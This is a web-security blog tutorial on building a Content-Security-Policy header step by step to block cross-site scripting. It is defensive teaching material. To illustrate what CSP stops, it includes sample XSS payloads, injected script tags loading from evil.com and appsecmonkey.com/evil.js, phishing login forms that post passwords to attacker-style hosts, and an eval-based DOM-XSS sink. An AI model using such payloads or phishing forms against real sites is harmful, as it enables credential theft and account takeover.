Content Security Policy Header: A Complete Guide
Teo Selenius
Posted on March 1, 2021
The original and up-to-date post can be found here.
Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!
What is Content Security Policy (CSP)?
Content Security Policy is an outstanding browser security feature that can prevent XSS (Cross-Site Scripting) attacks. It also obsoletes the old X-Frame-Options header for preventing cross-site framing attacks.
What are XSS vulnerabilities?
XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from:
- Generating HTML unsafely (parameterizing without encoding correctly).
- Allowing users to edit HTML directly (WYSIWYG editors, for example).
- Allowing users to upload HTML/SVG files and serving those back unsafely.
- Using JavaScript unsafely (passing untrusted data into executable functions/properties).
- Using outdated and vulnerable JavaScript frameworks.
XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.
A simple example
Here is a PHP script that is vulnerable to XSS:
echo "<p>Search results for: " . $_GET('search') . "</p>"
It is vulnerable because it generates HTML unsafely. The search
parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:
https://www.example.com/?search=<script>alert("XSS")</script>
Opening the link results in the following HTML getting rendered in the user's browser:
<p>Search results for: <script>alert("XSS")</script></p>
Why are XSS vulnerabilities bad?
There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.
As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker, perhaps downloading and executing malware on the user's workstation.
And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](https://en.wikipedia.org/wiki/Samy_(computer_worm).
How can CSP protect against XSS attacks?
CSP protects against XSS attacks quite effectively in the following ways.
1. Restricting Inline Scripts
By preventing the page from executing inline scripts, attacks like injecting
<script>alert("XSS)</script>
will not work.
2. Restricting Remote Scripts
By preventing the page from loading scripts from arbitrary servers, attacks like injecting
<script src="https://evil.com/hacked.js"></script>
will not work.
3. Restricting Unsafe Javascript
By preventing the page from executing text-to-JavaScript functions (also known as DOM-XSS sinks), your website will be forced to be safe from vulnerabilities like the following.
// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);
4. Restricting Form submissions
By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.
<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>
<label>Password</label>
<input type="password" name="pass"/>
<input type="Submit" value="Login"/>
</form>
5. Restricting Objects
And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.
How do I use it?
You can enforce a Content Security Policy on your website in two ways.
1. Content-Security-Policy Header
Send a Content-Security-Policy HTTP response header from your web server.
Content-Security-Policy: ...
Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.
2. Content-Security-Policy Meta Tag
Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.
In this case, you can still use CSP by specifying a meta tag in the HTML markup.
<meta http-equiv="Content-Security-Policy" content="...">
Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.
Building Your Policy
Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork this CodeSandbox, and then open the page URL (such as https://mpk56.sse.codesandbox.io/ in Google Chrome browser.
This is the HTML:
<html>
<head>
<title>CSP Practice</title>
<link rel="stylesheet" href="/stylesheets/style.css" />
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
</head>
<body>
<h1>CSP Practice</h1>
<script>
console.log("Inline script attack succeeded.");
</script>
<script src="https://www.appsecmonkey.com/evil.js"></script>
<script src="https://www.google-analytics.com/analytics.js"></script>
<script
src="https://code.jquery.com/jquery-1.12.4.js">
</script>
<h3>Cat fact: <span id="cat-fact"></h3>
<script>
$( document ).ready(function() {
$.ajax({
url: "https://cat-fact.herokuapp.com/facts/random",
type: "GET",
crossDomain: true,
success: function (response) {
var catFact = response.text;
$('#cat-fact').text(catFact);
},
error: function (xhr, status) {
alert("error");
}
});
console.log(`Good script with jQuery succeeded`);
});
</script>
<img src=" data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
<br/>
<form method="POST" action="https://www.appsecmonkey.com/evil">
<label>Session expired, enter password to continue.</label>
<br/>
<input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
<input type="submit" value="Submit"/>
</form>
</body>
</html>
And we also have app.js
which is a miniature express application for the purpose of setting the Content-Security-Policy
header. Right now it's sending an empty CSP which does nothing.
var express = require("express");
var app = express();
const csp = "";
app.use(
express.static("public", {
setHeaders: function (res, path) {
res.set("Content-Security-Policy", csp);
}
})
);
var listener = app.listen(8080, function () {
console.log("Listening on port " + listener.address().port);
});
If you look at the console, there are a couple of messages.
Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded
At this point, the CSP header is not doing anything, so everything, good and bad, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).
Great. Let's start adding security.
default-src
default-src is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.
Let's start by setting default-src
to 'self'
. The single quotes are mandatory. If you just write self
without the single quotes, it would refer to a website with the URL self
.
let defaultSrc = "default-src 'none'";
const csp = [defaultSrc].join(";");
Now refresh the page and verify that everything has exploded, as expected.
Open Chrome developer tools, and you will find that it's filled with CSP violation errors.
Note
You will see violations for the CodeSandbox client hook "https://sse-0.codesandbox.io/client-hook-5.js". Just ignore these.
The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the default-src
directive does not cover the form-target
directive. Let's fix that next.
form-action
form-action regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.
let defaultSrc = "default-src 'none'";
let formAction = "form-action 'self'";
const csp = [defaultSrc, formAction].join(";");
Refresh the page, and verify that it works by trying to submit the form.
❌ Refused to send form data to 'https://www.appsecmonkey.com/evil' because it violates the following Content Security Policy directive: "form-action 'self'".
Beautiful. Works as expected.
frame-ancestors
Let's add one more restriction before we start relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the frame-ancestors to 'none'
.
let frameAncestors = "frame-ancestors 'none'";
const csp = [defaultSrc, formAction, frameAncestors].join(";");
If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame.
Alright. Enough denying, let's allow something next.
style-src
Looking at the console, the next violations are:
❌ Refused to load the stylesheet 'https://lqil3.sse.codesandbox.io/stylesheets/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
❌ Refused to load the stylesheet 'https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.
You can fix this with the style-src directive by allowing stylesheets to load from files hosted in the same origin and from google fonts.
...
let styleSrc = "style-src";
styleSrc += " 'self'";
styleSrc += " https://fonts.googleapis.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");
Refresh the page, and wow! Such style.
Let's move on to images.
img-src
Instead of the beautiful red dot, we have the following error:
❌ Refused to load the image 'data :image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback
We can fix our images with the img-src directive like so.
let imgSrc = "img-src";
imgSrc += " 'self'";
imgSrc += " data:";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(";");
We allow images from our own origin, and also we allow data URLs because they are getting increasingly common with optimized websites.
Refresh the page and... Yes! It's a red dot in all its glory.
font-src
As for our fonts, we have the following error.
❌ Refused to load the font 'https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback
We can make it go away by adding the font-src directive like so:
let fontSrc = "font-src";
fontSrc += " https://fonts.gstatic.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(";");
script-src
Alright, now it gets real. The script-src is arguably the primary reason CSP exists, and here we can either make or break our policy.
Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
The second one is the attacker's sourced script. Let's keep blocking this one as well.
❌ Refused to load the script 'https://www.appsecmonkey.com/evil.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
Then there is Google analytics which we want to allow.
❌ Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
We also want to allow jQuery.
❌ Refused to load the script 'https://code.jquery.com/jquery-1.12.4.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
And finally, we want to allow the script that fetches cat facts.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).
let scriptSrc = "script-src";
scriptSrc += " 'self'";
scriptSrc += " https://www.google-analytics.com/analytics.js";
scriptSrc += " https://code.jquery.com/jquery-1.12.4.js";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(
";"
);
The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:
...
<h3>Cat fact: <span id="cat-fact"></h3>
<script src="/javascripts/cat-facts.js"></script>
...
And move the contents of the script into javascripts/cat-facts.js
like so:
$(document).ready(function () {
$.ajax({
url: "https://cat-fact.herokuapp.com/facts/random",
type: "GET",
crossDomain: true,
success: function (response) {
var catFact = response.text;
$("#cat-fact").text(catFact);
},
error: function (xhr, status) {
alert("error");
}
});
console.log(`Good script with jQuery succeeded`);
});
Now refresh, and... bummer. One more violation to deal with before we win!
connect-src
❌ Refused to connect to 'https://cat-fact.herokuapp.com/facts/random' because it violates the following Content Security Policy directive...
The connect-src directive restricts where the website can connect to, and currently, it is preventing us from fetching cat facts. Let's fix it.
let connectSrc = "connect-src";
connectSrc += " https://cat-fact.herokuapp.com/facts/random";
const csp = [
defaultSrc,
formAction,
frameAncestors,
styleSrc,
imgSrc,
fontSrc,
scriptSrc,
connectSrc
].join(";");
Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site here. This is what we came up with:
Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random
Let's plug it into Google's CSP evaluator and see how we did.
Pretty good. The yellow in the script-src
is just because we used 'self' which can be problematic if e.g. host user-submitted content.
But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.
script-src: hashes
If you can't get rid of inline JavaScript, as of Content Security Policy level 2, you can use script-src 'sha256-<hash>'
to allow scripts with a specific hash to execute. Nonces and hashes are quite well supported, see here for details compatibility. At any rate, CSP is backward compatible as long as you use it right.
You can follow along by forking this CodeSandbox. It's the same situation as before, but this time we won't refactor the inline script into its own file. Instead, we'll add its hash to our policy.
You could get the SHA256 hash manually, but it's a bit tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js". Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce ('nonce-...') is required to enable inline execution.
So let's just add that hash to our policy like so, and the page will work again.
...
scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
scriptSrc += " 'unsafe-inline'";
...
We also have to add the unsafe-inline
for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.
Note
Using hashes is generally not a very good approach. If you change anything inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render.
script-src: nonce
The second way to allow specific inline scripts is to use a nonce. It's slightly more involved, but you won't have to worry about formatting your code.
Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:
const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;
You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:
<script nonce="<%= nonce %>">
$(document).ready(function () {
$.ajax({
url: "https://cat-fact.herokuapp.com/facts/random",
...
Fork this CodeSandbox to play around with the solution I created with nonces and the EJS view engine.
WARNING
Don't create a middleware that just replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.
script-src: 'unsafe-eval'
If your own code, or a dependency on your page, is using text-to-JavaScript functions like eval
, you might run into a warning like this.
❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js".
If it's your own code, refactor it not to use eval
. If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.
If not, then you will have to add the unsafe-eval keyword to your script-src
. This will forfeit the DOM-XSS protection that CSP provides.
scriptSrc += " 'unsafe-eval'"; // cut my life into pieces this is my last resort
The situation will somewhat improve in the future with Content Security Policy Level 3, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.
Report only mode
Deploying CSP to production for the first time can be scary. You can start with a Content-Security-Policy-Report-Only header, which will print the violations to console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.
Conclusion
The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.
It's always preferred to refactor your code so that it can run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.
Before deploying the enforcing policy to production, start with a report-only header to avoid any unnecessary grief.
Get the web security checklist spreadsheet!
☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!
Don't stop here
If you like this article, check out the other application security guides we have on AppSec Monkey as well.
Thanks for reading.
Posted on March 1, 2021
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.